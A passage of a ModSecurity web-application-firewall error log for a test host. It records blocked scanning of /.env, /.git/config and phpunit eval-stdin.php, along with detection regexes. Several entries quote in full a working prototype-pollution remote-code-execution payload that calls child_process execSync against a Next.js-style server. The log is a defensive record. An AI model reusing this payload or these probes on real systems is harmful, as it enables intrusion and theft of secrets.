Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNIfFXYVi-cYqymYgYAmAAAAAE&quot;]
[Thu Dec 18 01:19:08.544335 2025] [:error] [pid 810593] [client 3.250.11.253:55560] [client 3.250.11.253] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNIfFXYVi-cYqymYgYAmAAAAAE&quot;]
[Thu Dec 18 01:19:08.544519 2025] [:error] [pid 810593] [client 3.250.11.253:55560] [client 3.250.11.253] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNIfFXYVi-cYqymYgYAmAAAAAE&quot;]
[Thu Dec 18 02:01:39.474013 2025] [:error] [pid 812046] [client 34.244.241.9:60600] [client 34.244.241.9] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNSc8StBbWynvk_-P7rigAAAAo&quot;]
[Thu Dec 18 02:01:39.474548 2025] [:error] [pid 812046] [client 34.244.241.9:60600] [client 34.244.241.9] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNSc8StBbWynvk_-P7rigAAAAo&quot;]
[Thu Dec 18 02:01:39.475460 2025] [:error] [pid 812046] [client 34.244.241.9:60600] [client 34.244.241.9] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNSc8StBbWynvk_-P7rigAAAAo&quot;]
[Thu Dec 18 02:01:39.475637 2025] [:error] [pid 812046] [client 34.244.241.9:60600] [client 34.244.241.9] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aUNSc8StBbWynvk_-P7rigAAAAo&quot;]
[Thu Dec 18 18:55:52.707326 2025] [:error] [pid 813018] [client 54.75.73.59:43518] [client 54.75.73.59] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aURAKEBkfFvq8O6HEbspBwAAAAI&quot;]
[Thu Dec 18 18:55:52.707788 2025] [:error] [pid 813018] [client 54.75.73.59:43518] [client 54.75.73.59] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo VULN_TEST_123456 | base64 -w 0&#039;).toString().trim();;throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aURAKEBkfFvq8O6HEbspBwAAAAI&quot;]
[Thu Dec 18 18:55:52.708710 2025] [:error] [pid 813018] [client 54.75.73.59:43518] [client 54.75.73.59] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aURAKEBkfFvq8O6HEbspBwAAAAI&quot;]
[Thu Dec 18 18:55:52.708878 2025] [:error] [pid 813018] [client 54.75.73.59:43518] [client 54.75.73.59] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apps&quot;] [unique_id &quot;aURAKEBkfFvq8O6HEbspBwAAAAI&quot;]
[Thu Dec 18 20:55:27.656287 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcL47R_baa7hvGOSpPngAAAA4&quot;]
[Thu Dec 18 20:55:27.656527 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcL47R_baa7hvGOSpPngAAAA4&quot;]
[Thu Dec 18 20:55:27.656715 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcL47R_baa7hvGOSpPngAAAA4&quot;]
[Thu Dec 18 20:55:28.121221 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aURcMI7R_baa7hvGOSpPoAAAAA4&quot;]
[Thu Dec 18 20:55:28.819866 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aURcMI7R_baa7hvGOSpPowAAAA4&quot;]
[Thu Dec 18 20:55:29.518478 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcMY7R_baa7hvGOSpPpgAAAA4&quot;]
[Thu Dec 18 20:55:29.518720 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcMY7R_baa7hvGOSpPpgAAAA4&quot;]
[Thu Dec 18 20:55:29.518926 2025] [:error] [pid 828112] [client 209.38.16.107:36184] [client 209.38.16.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcMY7R_baa7hvGOSpPpgAAAA4&quot;]
[Thu Dec 18 20:56:35.548439 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcc6-ZDO9LqzGKL-goxwAAAA8&quot;]
[Thu Dec 18 20:56:35.548688 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcc6-ZDO9LqzGKL-goxwAAAA8&quot;]
[Thu Dec 18 20:56:35.548866 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aURcc6-ZDO9LqzGKL-goxwAAAA8&quot;]
[Thu Dec 18 20:56:36.014501 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php&quot;] [unique_id &quot;aURcdK-ZDO9LqzGKL-goyQAAAA8&quot;]
[Thu Dec 18 20:56:36.712607 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;662&quot;] [id &quot;920340&quot;] [msg &quot;Request Containing Content, but Missing Content-Type header&quot;] [severity &quot;NOTICE&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aURcdK-ZDO9LqzGKL-gozAAAAA8&quot;]
[Thu Dec 18 20:56:37.409300 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcda-ZDO9LqzGKL-gozwAAAA8&quot;]
[Thu Dec 18 20:56:37.409542 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcda-ZDO9LqzGKL-gozwAAAA8&quot;]
[Thu Dec 18 20:56:37.409747 2025] [:error] [pid 828113] [client 209.38.16.107:58200] [client 209.38.16.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aURcda-ZDO9LqzGKL-gozwAAAA8&quot;]
[Fri Dec 19 11:26:03.740225 2025] [:error] [pid 842793] [client 204.76.203.25:60928] [client 204.76.203.25] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUUoO90gNgrzumDf_nEX6AAAAA8&quot;]
[Fri Dec 19 11:26:03.740514 2025] [:error] [pid 842793] [client 204.76.203.25:60928] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUUoO90gNgrzumDf_nEX6AAAAA8&quot;]
[Fri Dec 19 11:26:03.740674 2025] [:error] [pid 842793] [client 204.76.203.25:60928] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aUUoO90gNgrzumDf_nEX6AAAAA8&quot;]
[Sat Dec 20 05:14:49.181186 2025] [:error] [pid 857289] [client 3.129.60.107:37496] [client 3.129.60.107] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag 